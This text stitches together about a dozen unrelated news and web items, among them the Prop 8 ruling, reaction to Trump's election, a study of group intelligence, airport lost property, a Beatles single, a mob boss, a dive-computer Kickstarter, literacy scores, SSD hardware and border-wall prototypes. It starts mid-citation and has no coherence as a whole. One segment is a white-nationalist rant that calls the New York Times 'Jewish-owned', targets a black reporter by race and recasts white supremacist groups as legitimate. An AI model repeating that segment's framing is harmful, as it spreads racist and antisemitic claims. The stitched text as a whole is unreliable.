women cannot. Sexuality & Culture, 20, 24-37. doi:10.1007/s12119-015-9307-0
-Federal Judge Vaughn R. Walker on Wednesday found California’s ban on gay marriage unconstitutional. In his decision, the George H.W. Bush appointee wrote: “Proposition 8 both unconstitutionally burdens the exercise of the fundamental right to marry and creates an irrational classification on the basis of sexual orientation.”  The immediate impact of Judge Walker’s decision appears limited to California, although there are national implications.  Ted Olson and David Boies, one-time rivals in the Bush v. Gore case, went to trial as allies in challenging Prop. 8 with a clear eye on the U.S. Supreme Court, but they still have to make their way through the appeals process.  Incidentally, if the Supreme Court ends up deciding the question of same-sex marriage based on this case, then the historic decision will keep the name Perry v. Schwarzenegger.  Here’s an important chunk from the judge’s decision (the full decision is embedded below):  Plaintiffs seek to have the state recognize their committed relationships, and plaintiffs’ relationships are consistent with the core of the history, tradition and practice of marriage in the United States. Perry and Stier seek to be spouses; they seek the mutual obligation and honor that attend marriage, FF52. Zarrillo and Katami seek recognition from the state that their union is “a coming together for better or for worse, hopefully enduring, and intimate to the degree of being sacred.” Griswold, 381 US at 486. Plaintiffs’ unions encompass the historical purpose and form of marriage. Only the plaintiffs’ genders relative to one another prevent California from giving their relationships due recognition. Plaintiffs do not seek recognition of a new right. To characterize plaintiffs’ objective as “the right to same-sex marriage” would suggest that plaintiffs seek something different from what opposite-sex couples across the state enjoy — namely, marriage. Rather, plaintiffs ask California to recognize their relationships for what they are: marriages.  Essentially, people have a fundamental right to marry, and Prop. 8 denies that right on the basis of gender. The law is much more concerned with gender discrimination than sexual orientation discrimination — by orders of magnitude — so it’s a boon to same-sex marriage advocates that the judge accepts and supports this view in his decision.  Actually, Walker goes even further in places. The judge wrote, essentially, that even if he found gays to be in the least protected class of people where discrimination is concerned, Prop. 8 doesn’t work. But he thinks gays actually belong in the most protected class. — PZS  Los Angeles Times: U.S. District Chief Judge Vaughn R. Walker said Proposition 8, passed by voters in November 2008, violated the federal constitutional rights of gays and lesbians to marry the partners of their choice.. His ruling is expected to be appealed to the U.S. 9th Circuit Court of Appeals and then up to the U.S. Supreme Court. “Plaintiffs challenge Proposition 8 under the Due Process and Equal Protection Clauses of the Fourteenth Amendment,” the judge wrote. “Each challenge is independently meritorious, as Proposition 8 both unconstitutionally burdens the exercise of the fundamental right to marry and creates an irrational classification on the basis of sexual orientation.” Read more  Prop 8 Ruling FINAL
-The world reacted with shock, awe and no small measure of disbelief as voters made Donald Trump the next president of the United States, electing a populist firebrand who has promised sweeping changes to American policy.  CNN called the race for Trump shortly before 3:00 am ET on Wednesday, and reaction from international media was swift.  "TRUMPLAND," blared the website of the Daily Mail, which described the race as the "most extraordinary presidential campaign in modern history." The Guardian, another U.K. paper, simply said: "Trump victory stuns world."  In Mexico, media outlets were focused on a sharp drop in the value of the peso to an all-time low. "Dollar breaks barrier," read the lead headline on El Sol de Mexico, a leading newspaper in the nation's capital.  Related: Global markets tank as U.S. election results shock  The Manila Bulletin, a newspaper in the Philippines, filled its website's latest news section with U.S. election dispatches. "Some Americans look to Canada, New Zealand as Trump lead grows," read one wire service story featured by the paper's editors.  Indian news anchor Rajdeep Sardesai called it the "election to beat all elections" and a "miracle."  In Europe, many newspapers were even more direct: "United States fears total paralysis," said a headline in Spain's El Pais.  Related: Live election results and coverage  The Economist, a British publication that often trumpets its fondness for the U.S., described Tuesday evening as "Fright night." Prior to Election Day, it had published a strident editorial that warned Americans against voting for Trump.  "His experience, temperament and character make him horribly unsuited to being the head of state of the nation that the rest of the democratic world looks to for leadership," it said.  Global Times, a newspaper backed by China's ruling Communist Party, described Trump's victory in equally stark terms.  "Trump's win renders a big psychological shock, delivering a heavy blow on core political pillars in the U.S.," the paper said. "It makes people feel that the American political framework and foundations are broken."  -- Rishi Iyengar, Serena Dong and Steve George contributed reporting.
-Collaboration Beats Smarts In Group Problem Solving  Everywhere you look, from business to science to government, teams of people are set to work solving problems. You might think the trick to getting the smartest team would be to get the smartest people together, but a new study says that might not always be right.  Researchers at Carnegie Mellon University found that collaborative groups who conversed easily with equal participation were more efficient at completing sets of given tasks -- and produced better results -- than groups dominated by individuals.  Anita Woolley, an assistant professor of organizational behavior and theory, has been studying what it means to say a group is "intelligent." So she created teams of two to five people, drawn from 700 volunteers, and asked the teams to solve various kinds of problems.  "We had some brainstorming tasks, where the idea is to get as many ideas and as creative ideas as possible," she said. The teams performed other tasks where there was only one right answer, and still others where the teams had to come up with innovative solutions to a problem.  Here's an excerpt from one group's conversation:  Participant 1 (male): The problem is that we have to decide whether this star basketball player should be kept on the team despite cheating on the exam, right?  Participant 2 (female): Yeah, I think they're trying to see how we'll punish him.  Participant 3 (female): It looks like keeping a player like that would mean violating school policies.  Participant 1: Yeah, I would keep him out of the next game, unless it's a playoff. At the very minimum.  Participant 2: Yeah, I think that's the best option. He deserves at least that.  The participants in this group took turns discussing the problem, coming up with various angles and issues.  Another group attacked the same problem differently:  Participant 1 (male): I say he should not be allowed to play.  Participant 2 (female): He should not be allowed to play for the semester, at least.  Participant 3 (female): Well ...  Participant 1: I think he should not be allowed to play for his college career at all. It looks like it may just be a status thing. He just cheated on an exam. He should at least have been creative and tried to cheat effectively or something. I hate people who are treated nicely for athletics. They're just stupid.  No one else in the second group got a word in, and there were no alternatives to what the one noisy participant was proposing.  Woolley says this was an example of a moral reasoning task. She says that to do well, a group needed to consider multiple perspectives.  "In groups where the conversation was more evenly distributed, where you had better participation -- and more equal participation among all of the group members -- the groups were more collectively intelligent," Woolley says.  Not only was it annoying, but groups where one person dominated tended not to come up with as balanced and thoughtful a result -- it wasn't as intelligent as the first group's effort. When Woolley looked for the qualities that made successful groups successful, she found that the individual intelligence of group members was unrelated to the outcome.  "A few things that were related however, were surprising," Woolley says. "One was the proportion of females in the group."  As she reports in the journal Science, the more females, the higher the group intelligence, although Woolley thinks it's not so much gender as a quality of social sensitivity that women on average have more of than men.  Thomas Malone, one of Woolley's collaborators and head of the Center for Collective Intelligence at MIT, hopes this research will lead to great things.  "Imagine you could go to a top management team in a company and give them a collective intelligence test that would then predict how well that team would respond to a very wide range of challenges they might face," Malone says. That could be something a board of directors might be very interested to learn.  But Steve Kozlowski, a psychologist at Michigan State University, says such a test is a ways off. He says that Woolley's study only looked at a small set of tasks.  "And it's really very, very difficult to generalize from the small set of tasks that were examined in these studies, using college students, ad hoc teams and very short periods of measurement," he says.  He's also not convinced that Woolley and her colleagues are measuring intelligence. He says they're just measuring how well groups do on a limited number of problems.  "Likening it to intelligence -- I wouldn't call it controversial, I just don't see any evidence to support it," Kozlowski says.  Still, he says there may well be such a thing as collective intelligence, but he thinks it will take a lot more work to define it.
-Dublin Airport has had its fair share of mysterious finds  A headstone with the inscription "You will never be forgotten", a toilet seat and cistern, and a live turtle are among the more bizarre items left behind by passengers at Dublin Airport.  Despite the epitaph "you will always be remembered, never forgotten", the owner of the headstone seemingly forgot all about their dearly departed and misplaced the memorial at the drop-off point to the departures area at Terminal One a few years ago, according to DAA spokeswoman Audrey O'Hagan.  A toilet seat and cistern were also found abandoned at the departures entrance in the airport.  A life-size mannequin, human ashes, false teeth and a glass eye were also items consigned to the airport's lost and found section, where they can be reclaimed within a year.  A large of number of abandoned crutches and wheelchairs have also wound up in the lost and found, leading airport staff to wonder whether "some miraculous recoveries have taken place within the terminals", according to Ms O'Hagan.  Boulder  The DAA's listing of items recently left and available for collection for a limited time also raise some interesting questions about who has been passing through the gates.  A "brown envelope" was left behind by a passenger on July 14, while a set of "cast iron dungeon keys" was found on June 11.  One passenger attempted to transport a large boulder from an Irish beach as a souvenir for their garden, even though it weighed a hefty 15kgs and could have been used as a weapon.  A large anchor chain link was also taken off another passenger for similar reasons, while chainsaws and angle grinders have been consigned to checked-in luggage for security reasons.  While airport staff are used to seeing pretty much everything go through the X-ray scanner, they were taken aback when a passenger tried to take a kitchen sink in their hand luggage, Ms O'Hagan said.  A passenger tried to get on a flight with a live turtle in their pocket, finally handing it back unharmed to a family member who was not flying.
-Brandon Wade promises ‘dangling a carrot’ is the way to go (Picture: Carrot Dating)  A controversial new dating app that encourages men to offer women gifts to go on dates with them has been slammed as sexist.  Carrot Dating works like many other dating apps by putting you in contact with prospective partners.  But instead of just facilitating an online introduction it also allows you to dangle a financial carrot at females you like the look of, in the hopes they will bite and fall into your arms.  Gifts (or bribes) such as plastic surgery and jewellery are suggested.  ‘Give a dog a bone, and it will obey. Give a woman a present and she’ll… ‘ an official press release reads.  The new app has been slammed as sexist (Picture: Carrot Dating)  ‘Women have all the power in the online dating world: they receive countless messages from suitors, while men struggle for even a single reply.  Advertisement  Advertisement  ‘But by “dangling” the right “carrot” in front of beautiful girls, suitors can convince anyone to say “yes” to a first date.’  Unsurprisingly not everyone is happy with the website from MIT graduate Brandon Wade, who also founded SeekingArrangement.com – a site that hoped to put ‘sugar daddies’ in contact with younger women.  Business Insider’s Christina Sterbenz said the new venture could be considered prostitution and anyone taking advantage of it was heading for an emotional fall.  ‘Aside from being blatantly sexist, Wade’s app clearly won’t “build the chemistry needed to fall in love” as promised in the press kit,’ she wrote.
-Former English footballer Howard Gayle wants no parts of the oppressive, unjust system that was British colonialism.  Gayle, who became Liverpool’s first Black soccer player in 1977, recently declined a nomination for a British state honor known as the Member of the British Empire, or MBE. The now 58-year-old said accepting such an award would basically be a slap in the face to his Black ancestors who suffered abuse and enslavement at the hands of the British Empire.  “My ancestors would be turning in their graves after how empire and colonialism had enslaved them,” Gayle said.  The ex-footballer posted the difficult decision on his Facebook page Thursday, citing that his work with the U.K.-based charity, Show Racism a Red Card, is likely what earned him the nomination. According to TeleSUR, the anti-racism organization uses well-known soccer players to help educate and mobilize the younger generation against racism.  “This is a decision that I have had to make and there will be others who may feel different and would enjoy the attraction of being a Member of the British Empire and those three letters after their name,” Gayle wrote. “But I feel that it would be a betrayal to all of the Africans who have lost their lives, or who have suffered as a result of empire.”  The Toxteth-born athlete joined the youth ranks of the Liverpool Football Club back in 1974 and later signed a professional contract with the team in 1977. According to The Guardian, Gayle also played for the Blackburn Rovers, Fulham, Birmingham City, Halifax Town, Sunderland, Newcastle United, and Stoke City. He even went on to lead England to a victory in the 1984 UEFA European Under-21 Championship.  In addition, Gayle’s rise to fame as Liverpool’s first Black player was largely seen as a victory for the city’s Black community.  “It was constantly in the press that I was the first black player to play for Liverpool,” the former soccer star told Liverpool fan site This is Anfield, back in 2012. “It was a landmark as far as Black people were concerned, and I was proud to represent the Black community of Liverpool.”  Due to Britain’s dark history of colonialism, Gayle isn’t the first to have declined an honor from the MBE. According to TeleSUR, British-Jamaican writer Benjamin Zephaniah also refused the award in the name of anti-colonialism in 2003.  Millions have been oppressed by the British empire, including countries several Caribbean nations like Jamaica, India, and Australia, the news site reports.  Despite its forceful domination of foreign countries, many Brits still hold a favorable view of the empire and its past practice of colonialism — which included the genocide, slavery, and massacres of people of color. Atlanta Black Star cited a 2016 poll by YouGov, which found that 44 percent of British people thought the nation’s history of colonialism was a proud one. In contrast, 19 percent of respondents said the British Empire was bad, while 21 percent believed historic colonialism was regrettable.
-This is the biggest steaming pile of leftwing bullshit you will read today:  “Network analysis shows that the huge, established corporate media outlets, ranging from the New York Times and Washington Post to CNN, inhabit an almost completely separate world from the news consumed by rightwing voters. The sun of this “alt-right” solar system is Breitbart, around which numerous other paranoia-vendors orbit. … But something massive happened between 2008 and 2017: the ideology of the ruling elite fell apart. They kept the global finance system alive with $12tn of printed money and the philosophy of “extend and pretend”. But it’s hard to keep an ideology alive that way. People’s brains demand coherence – and what the liberal conservatism of the Wall Street Journal could not provide, the racist xenophobia of Breitbart did. We have to learn something profound from this. In an ideological crisis, facts alone do not win arguments: narratives do. The clearest difference between the liberal-democratic newspapers – including this one – and those of the right is that the former have no overarching narrative. They espouse a series of good causes. They partake in stolid investigations hidebound by numerous self-imposed rules, as a result of which nobody gets busted. Having bought the ideological self-justification that “I just report the truth”, many journalists and editors are clueless as to why this “truth” is now being walloped by outright lies. …”  Are you kidding me?  Here’s a recent headline from yesterday’s edition of The New York Times: White Supremacists Step Up Recruiting on Campus, Report Says.  “The three episodes are among more than 100 since the school year started in September that the Anti-Defamation League lists in a new report tracking efforts by white supremacists to recruit students on college campuses. Most of the events — 65 of them — have occurred since January, the report found. Jonathan A. Greenblatt, the chief executive of the Anti-Defamation League, said in a telephone interview on Monday that hate groups have increased their presence at colleges through visits, rallies, speeches and alt-right online spaces. However, the seemingly antiquated approach of distributing fliers, often touting messages of white supremacy, has been a focus for increasing their physical presence on campuses. … The report identified several groups, including Identity Evropa, American Vanguard and American Renaissance, that have made concerted efforts to distribute fliers on campuses. Identity Evropa and American Vanguard were both founded in 2016, it said. Mr. Greenblatt said the groups were emboldened by a sort of middle-of-the-road acceptance in recent months. “In a political environment where white supremacists have felt more welcome than any time in recent memory, we saw them move from their margins to the mainstream,” Mr. Greenblatt said. …”  In this case, a black journalist wrote a story for the Jewish-owned The New York Times about two White identitarian groups who are aggressively organizing on college campuses. The black journalist interviews ADL chief executive Jonathan Greenblatt and parrots every aspect of his narrative.  The White identitarian groups are characterized by the ADL as “white supremacists” and “hate groups” who are terrorizing “marginalized communities” by distributing fliers. They are said to be moving “from the margins to the mainstream.” What exactly does it mean to be “mainstream” on an American college campus? In practice, it means that pro-White and pro-Western student organizations are by definition illegitimate while Jewish and black student organizations are legitimate.  Take a look at Tamara Best’s Twitter feed:  On this month's reading list: "The Original Black Elite" by Elizabeth Dowling Taylor. What are y'all reading right now? — Tamara Best (@_tamarabest) February 1, 2017  Watching Beyoncé lose the album of the year was a reminder of realities that many creatives of color know all too well. — Tamara Best (@_tamarabest) February 13, 2017  Got a chance to talk black joy, activism and quote the classic song "Joy and Pain." Win. https://t.co/fMlw94fgkc — Tamara Best (@_tamarabest) February 19, 2017  The only objection The New York Times has to Richard Spencer, Identity Evropa and American Vanguard is that they are White. If they were black activists who were organizing to advance black interests, they would be fine. Black identitarians are mainstream enough to write for The New York Times.
-Following a string of innovative singles, which were all so very different from one another, The Beatles changed direction yet again. For their first single release of 1968 they went back to their roots for ‘Lady Madonna’. In a 1994 interview Paul admitted, “‘Lady Madonna’ was me, sitting down at the piano trying to write a bluesy boogie-woogie thing … It reminded me of Fats Domino for some reason, so I started singing a Fats Domino impression. It took my other voice to a very odd place.”  Recorded on two separate days at the beginning of February 1968, the session had been somewhat hastily arranged. The Beatles were about to embark on their trip to Rishikesh in India to study with the Maharishi Mahesh Yogi at his ashram.  On Saturday 3 February, they put down the basic rhythm track and returned to Abbey Road three days later for vocal overdubs and some additional piano parts, at which point It was decided that the track would really benefit from some added brass. Late that Tuesday afternoon, frantic phone calls from Laurie Gold, a session ‘fixer’ employed by EMI, brought four saxophonists hot-foot to the studio. Among them was Ronnie Scott, whose famous Soho jazz club is still an institution, and Harry Klein, a veteran of the big-band scene.  Released in the UK on 15 March and three days later in the US, a little over a month after it was recorded, ‘Lady Madonna’ topped the UK charts for two weeks, but only made No.4 in America.  George and John were to leave for India on 15 February with Paul and Ringo following four days later, and the four would be out of the country for several months. Given these circumstances, the need for a promo film to promote their new single was pressing so the band found themselves back at Abbey Road on Sunday 11 February for a studio shoot, under the auspices of the newly formed Apple Films Ltd.  When the final footage was edited, a short section of Paul leaving Chappell Studios with Cilla Black – the two had been working on her single ‘Step Inside Love’ – was added, along with some inserts of Paul at the piano. Although this footage was originally thought to date from November 1967, newly discovered documentation suggests that it was filmed in February 1968, just prior to Paul flying to India.  While at Abbey Road filming their new promo, the band were actually recording another song, ‘Hey Bulldog’, that was to be used in the Yellow Submarine movie but in the end it featured only in the British version of the film.  Listen to ‘Lady Madonna’ and other classic Beatles tracks on The Beatles Essentials playlist.
-Joseph “Skinny Joey” Merlino the former and possibly current boss of the Philadelphia Mafia returned to Philly recently for a probation revocation hearing leaving many wondering what is Joey’s current status when comes to La Cosa Nostra in Philly. Since his release from prison Joey has been seemingly living the good life down in Boca Raton, Florida and when asked has maintained that he has given up on the mob and is out. But many people from law enforcement to mob buffs find it hard to believe that Joey no longer has a hand in things.  “Joey Merlino”  From this recent hearing we know the feds have been keeping a close eye on Merlino since his release and claim he met with fellow Philly mobsters and other criminals in a violation of his probation down in Florida. Many believe this is yet another sign that Joey is still the current boss of the Philly mafia running things through his close associate and current acting boss Steve Mazzone. He took over as acting boss following the indictments of former boss Joseph Ligambi and most of his administration many of which were convicted.  “Steven Mazzone”  But the John Gotti of Passyunk Avenue says after doing 14 years behind bars and now on other side of 50 says he has no desire to go back. He and his lawyer say he has a fresh start down in Florida and although he misses his family has no plans to return to Philly. It seems like he is on the verge of opening up a restaurant down in Boca with some investors if he beats the parole revocation case back in Philly.  “Upcoming Merlino Restaurant in Boca”  A secretly taped conversation the feds have from back in 2010 between Joseph Ligambi , Philly mob capo Joseph “Scoops” Licata, and others in which Joey is possibly mentioned as still being the actual boss of the mafia in Philadelphia is another smoking gun for many. Many believe including some in law enforcement that Ligambi was simply handing day to day operations acting as boss for Merlino while he was away. So what do you think is Joey Merlino still the boss of the Philly mob ?  Is Joey Merlino still the boss of the Philly Mafia ? Yes (41%, 67 Votes)  Probably (33%, 54 Votes)  No (15%, 25 Votes)  Probably Not (11%, 18 Votes) Total Voters: 164  Loading ... Loading ...
-Did you miss this Kickstarter campaign? Please check our website for how you can pre-order your Dive Computer Buddy!  Overview  Hello Kickstarters, We are back!  We are the DiveNav team.  Last spring we brought you bluebuddy - the wireless data logger for scuba divers. Then, at the end of the summer, we brought you Nitroxbuddy - the world first Smartphone Oxygen Analyzer for scuba divers.  Both projects were successful and the resulting products are now available at your local dive store or they can be purchased directly from our online store.  We REALLY like the Kickstarter community :-)  In the past 12 months we received several requests from fellow scuba divers asking basically two things: Can you design something to connect my dive computer to a tablet or a smartphone, such as an iPad or an iPhone? And, can I keep using my preferred third party dive log App?  We have been listening. And now we are bringing to you Dive Computer Buddy.  Product Description  Dive Computer Buddy (aka DCbuddy) is a wireless accessory for scuba divers that allows a diver to retrieve logs from his/her dive computer using a tablet and/or a smartphone.  Dive Computer Buddy uses Bluetooth 4.0 low energy technology and it is powered by a user replaceable CR2032 battery that should last for almost one year.  Dive Computer Buddy connects to a model-specific dive computer using a custom, model-specific cable or an infrared link. See Rewards section for more info.  Dive Computer Buddy can be used with any tablet or smartphone that supports Bluetooth 4.0 low energy technology and it is equipped with our divePAL App (or any third party diving App compatible with Dive Computer Buddy). See App sections for more info.  Product Benefits  Dive Computer Buddy's primary benefit is to make it easy and fun for you to log and share your dive memories as soon as you get out of the water:  Connect DCbuddy to your model-specific dive computer.  Launch the divePAL App (or any third party App compatible with DCbuddy).  Retrieve dive profile.  Add info to the log.  Share it with your friends.  If you are a dive instructor you could use DCbuddy as a teaching aid. Equip each one of your students with a dive computer supported by DCbuddy, then, at the end of a dive, review their dive profile with them right away and use it to point out any area that might need improvements, such as a better buoyancy control or a slower ascent rate.  Apps and supported model-specific Dive Computers  On the App front, our plan is to integrate support for DCbuddy and several families of dive computers into our existing divePAL App.  Please note that divePAL is already available for iPad, iPhones and Android smartphones. Additionally we have already included in divePAL support for Bluetooth 4.0 le devices such as our bluebuddy wireless data logger.  We expect to release versions of divePAL that support model-specific dive computers as per following schedule:  June 2014:  Suunto Cobra family (Cobra, Cobra 3, HelO2, Vyper, Vyper Air, and Zoop).  Suunto D family (D4, D6, D9, D4i, D6i, D9Tx and Dx).  July 2014:  Aeris Atmos family (XR2, Atmos AI, Elite T3, A300, A300 AI and A300XT)  Aeris Manta family ( Manta and Epic)  Oceanic Geo family (Geo, Geo 2, Atom 2 and Atom 3)  Oceanic Veo family (Veo180, Veo180Nx, Veo 2, Veo 3, Veo 250, VT3, VT4, Pro Plus 2 and Pro Plus 3)  Oceanic OC family (OC1, OCS and OCi)  Sherwood Amphos family (Amphos and Amphos Air)  Sherwood Wisdom family (Wisdom 2 and Wisdom 3)  Tusa Zen family (Zen and Zen Air)  August 2014:  Mares Puck family (Puck, Puck Air and Puck Pro)  September 2014:  Cressi Leonardo family (Leonardo and Giotto)  ScubaPro family (Galileo Sol, Galileo Luna, Aladin 2G, Aladin Square, Meridian and Chromis)  SubGear family (XP10 and XP-H).  Additionally, we plan to license our DCbuddy APIs to selected third party developers of diving log Apps so they can integrate support for our DCbuddy device into their own branded products.  During the Kickstarter campaign we have entered into agreements with 2 well known developers: More Mobile Software; the developer of the Dive Log App for iOS devices and the Dive Log DT / Dive Log Manager programs for MacOS devices and Mint Software, the developer of the well known MacDive 2 digital dive log for Mac OS X.  Please check directly with individual third party developers on their plans to support DCbuddy and their schedule.  Project Status  We started working on this project almost one year ago. We had a proof of concept last summer and we made several demonstrations at DEMA 2013 last November in Orlando.  After DEMA we moved forward with the productization phase and we now have several functional prototypes of the circuit board and its related firmware, 3D printed prototypes of the housing and several type of family-specific interface cables.  We also have developed a test App that allows us to extract relevant information from each model-specific dive computer we plan to support.  Manufacturing Plan  Upon the successful completion of the Kickstarter campaign, we will place production orders for enough kits to accommodate Kickstarter backers. We are also planning to launch a second, and larger, production lot to support our market launch. After that, we will progressively increase manufacturing volumes based on market demand.  Rewards  LIKE: $1 Reward - We like You too!  LIKE LIKE: $5 Reward - Same as above plus we will mention your name on our website.  DCBUDDY - Do It Yourself: $70 Reward - This reward includes a fully assembled Dive Computer Buddy unit and a male/female couple 2.5 mm audio jack connectors so you can create your own interface cable by modifying an existing dive computer download cable. Please note that you should select this reward ONLY if: a) you know how to solder, and b) you already have a download cable for any of the following dive computers: Aeris A300, A300AI, A300XT, Atmos AI, XR2 or Elite T3, Oceanic Veo180, Veo180Nx, Veo 250, Veo 2, Veo 3, VT3, VT4, OC1, OCS, OCi, Pro Plus 2 or Pro Plus 3, Sherwood Wisdom 2 or Wisdom 3, Suunto D4, D4i, D6, D6i, D9, D9Tx, DX. We will provide detailed instruction on how to modify and test the interface cable. Please note that you will have to modify the cable yourself and at your own risk. Please note that modifying the cable might void your dive computer warranty. Please check with the manufacturer of your dive computer. Also, please check the App section for schedule on when a model-specific dive computer will be supported. Please check out this video for more info on this reward:  DCBUDDY - Suunto Cobra family: $90 Reward - This reward includes a fully assembled Dive Computer Buddy unit and a custom interface cable for the Suunto Cobra family of supported dive computers (Cobra, Cobra 3, HelO2, Vyper, Vyper Air, and Zoop). Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Suunto D family: $90 Reward - This reward includes a fully assembled Dive Computer Buddy unit and a custom interface cable for the Suunto D family of supported dive computers (D4, D6, D9, D4i, D6i, D9Tx and Dx). Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Oceanic Veo family: $90 Reward - This reward includes a fully assembled Dive Computer Buddy unit and an interface cable for the Oceanic Veo family of supported dive computers (Veo 2, Veo 3, Veo180, Veo180Nx,Veo 250, VT3, VT4, Pro Plus 2 and Pro Plus 3). This reward can also be used with the following dive computers: Aeris XR2, Atmos AI, Elite T3, A300, A300 AI and A300XT and Sherwood Wisdom 2 and Wisdom 3.Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Oceanic Geo family: $90 Reward - This reward includes a fully assembled Dive Computer Buddy unit and an interface cable for the Oceanic Geo family of supported dive computers (Geo, Geo 2, Atom 2 and Atom 3). This reward can also be used with the following dive computers: Aeris Manta and Epic, Sherwood Amphos and Amphos Air. Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Oceanic OC family: $90 Reward - This reward includes a fully assembled Dive Computer Buddy unit and an interface cable for the Oceanic OC family of supported dive computers (OC1, OCS and OCi). Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Mares Puck family: $95 Reward - This reward includes a fully assembled Dive Computer Buddy unit and an interface cable for the Mares Puck family of supported dive computers (Puck, Puck Air and Puck Pro). Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - IR family: $100 Reward - This reward includes a fully assembled Dive Computer Buddy unit and a special Infrared interface that supports dive computers equipped with IR (such as Cressi Leonardo and Giotto, ScubaPro Galileo Sol, Luna and Aladin 2G, and SubGear XP10). Please check the App section for schedule on when a model-specific dive computer will be supported.  DCBUDDY - Developer Package: $1,500 Reward - This reward is for selected App developers that would like to add support for Dive Computer Buddy to their diving apps.This reward includes one basic unit (in April) and one IR unit (in August), several interface cables (as they become available), detailed information on how to program our Dive Computer Buddy device and 10 hours of technical support. ALL GONE!!!
-Out of every four black boys in California classrooms, three failed to meet reading and writing standards on the most recent round of testing, according to data from the state Department of Education (DOE).  The state DOE administered the tests in the fall of 2016, but released the data at the end of May, after it was analyzed by CALmatters, a non-profit journalism venture dedicated to exploring state policies and politics. Over 50 percent of these boys scored in the lowest category on the test’s English section, trailing far behind their female classmates. The disparity reflects a widening gender gap in literacy scores across ethnic groups.  California published separate figures on the performance of various ethnic and economic groups, but did not offer a more detailed breakdown of how boys and girls perform within those groups, with state officials claiming that sorting the data is costly and time consuming. This recent data provides rare insight into how gender interacts with race and class in mastering basic literacy skills.  Female students hold a sizable lead over their male classmates in language arts. The gap spans all grade levels, and a higher family income does not appear to have an effect. The gap is also not unique to California, given that girls out-read boys in almost every country and at every age.  “I wouldn’t put this in the same category of severity or concern as other achievement gaps,” Tom Loveless, an education researcher for the Brookings Institution, said Thursday. “But there needs to be greater awareness of this.”  As early as fourth grade, roughly 80 percent of black boys failed to meet state reading standards. Of all ethnic groups for which data exists, black boys trailed black girls by the widest margin.  “Part of this may be structural, in having texts that aren’t relevant to the experiences and legacy of African-American boys,” said Chris Chatmon, executive director of the African-American Male Achievement program at the Oakland Unified School District. “When a lot of the curriculum you have access to isn’t familiar, or doesn’t acknowledge your past or your present, you have a tendency not to be engaged with it or want to read it.”  One longstanding explanation holds that there is some biological difference in development between boys and girls. A second circle of thought maintains that cultural norms involving masculinity and cultural cues depict reading and writing as a feminine activity.  Others point to a combination of insufficient recess time to allow boys to blow off steam, reading materials unrelated to male interests and a largely female teaching workforce.  Given that the gap persists in foreign education systems that are radically different from ours, researches have found no conclusive answer.  Follow Grace on Twitter.  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-Take virtually any modern day SSD and measure how long it takes to launch a single application. You’ll usually notice a big advantage over a hard drive, but you’ll rarely find a difference between two different SSDs. Present day desktop usage models aren’t able to stress the performance high end SSDs are able to deliver. What differentiates one drive from another is really performance in heavy multitasking scenarios or short bursts of heavy IO. Eventually this will change as the SSD install base increases and developers can use the additional IO performance to enable new applications.  In the enterprise market however, the workload is already there. The faster the SSD, the more users you can throw at a single server or SAN. There are effectively no limits to the IO performance needed in the high end workstation and server markets.  These markets are used to throwing tens if not hundreds of physical disks at a problem. Even our upcoming server upgrade uses no less than fifty two SSDs across our entire network, and we’re small beans in the grand scheme of things.  The appetite for performance is so great that many enterprise customers are finding the limits of SATA unacceptable. While we’re transitioning to 6Gbps SATA/SAS, for many enterprise workloads that’s not enough. Answering the call many manufacturers have designed PCIe based SSDs that do away with SATA as a final drive interface. The designs can be as simple as a bunch of SATA based devices paired with a PCIe RAID controller on a single card, to native PCIe controllers.  The OCZ RevoDrive, two SF-1200 controllers in RAID on a PCIe card  OCZ has been toying in this market for a while. The zDrive took four Indilinx controllers and put them behind a RAID controller on a PCIe card. The more recent RevoDrive took two SandForce controllers and did the same. The RevoDrive 2 doubles the controller count to four.  Earlier this year OCZ announced its intention to bring a new high speed SSD interface to the market. Frustrated with the slow progress of SATA interface speeds, OCZ wanted to introduce an interface that would allow greater performance scaling today. Dubbed the High Speed Data Link (HSDL), OCZ’s new interface delivers 2 - 4GB/s (that’s right, gigabytes) of aggregate bandwidth to a single SSD. It’s an absolutely absurd amount of bandwidth, definitely more than a single controller can feed today - which is why the first SSD to support it will be a multi-controller device with internal RAID.  Instead of relying on a SATA controller on your motherboard, HSDL SSDs feature a 4-lane PCIe SATA controller on the drive itself. HSDL is essentially a PCIe cable standard that uses a standard SAS cable to carry a 4 PCIe lanes between a SSD and your motherboard. On the system side you’ll just need a dumb card with some amount of logic to grab the cable and fan the signals out to a PCIe slot.  The first SSD to use HSDL is the OCZ IBIS. As the spiritual successor to the Colossus, the IBIS incorporates four SandForce SF-1200 controllers in a single 3.5” chassis. The four controllers sit behind an internal Silicon Image 3124 RAID controller. This is the same controller used in the RevoDrive which is natively a PCI-X controller, picked to save cost. The 1GB/s of bandwidth you get from the PCI-X controller is routed to a Pericom PCIe x4 switch. The four PCIe lanes stemming from the switch are sent over the HSDL cable to the receiving card on the motherboard. The signal is then grabbed by a chip on the card and passed through to the PCIe bus. Minus the cable, this is basically a RevoDrive inside an aluminum housing. It's a not-very-elegant solution that works, but the real appeal would be controller manufacturers and vendors designing native PCIe-to-HSDL controllers.  OCZ is also bringing to market a 4-port HSDL card with a RAID controller on board ($69 MSRP). You’ll be able to raid four IBIS drives together on a PCIe x16 card for an absolutely ridiculous amount of bandwidth. The attainable bandwidth ultimately boils down to the controller and design used on the 4-port card however. I'm still trying to get my hands on one to find out for myself.
-The Department of Homeland Security (DHS) will begin building prototypes for President Trump's proposed wall along the Mexican border this summer, authorities said on Tuesday.  Agency officials said at a news briefing that the department is ready to begin testing designs on land that is already owned by the government. Four to eight designs will be built and tested, but officials didn't say when the process would actually begin.  “We own that land, have access to it and it’s a good place to start testing in a real-world environment,” acting deputy commissioner Ronald D. Vitiello told reporters at the briefing.  ADVERTISEMENT  Funding for Trump's border wall was not included in the budget submitted by the White House for fiscal year 2018, but DHS has allocated $20 million from other programs to pay for the prototypes.  Officials at U.S. Customs and Border Protection told The Washington Post that they have received "hundreds" of designs for the border wall, but the agency has yet to choose vendors.  Designs for the wall should be at least 18 feet high and have features to prevent climbing over and tunneling beneath the structure, and vendors are instructed to make the designs "aesthetically pleasing" on the U.S. side.
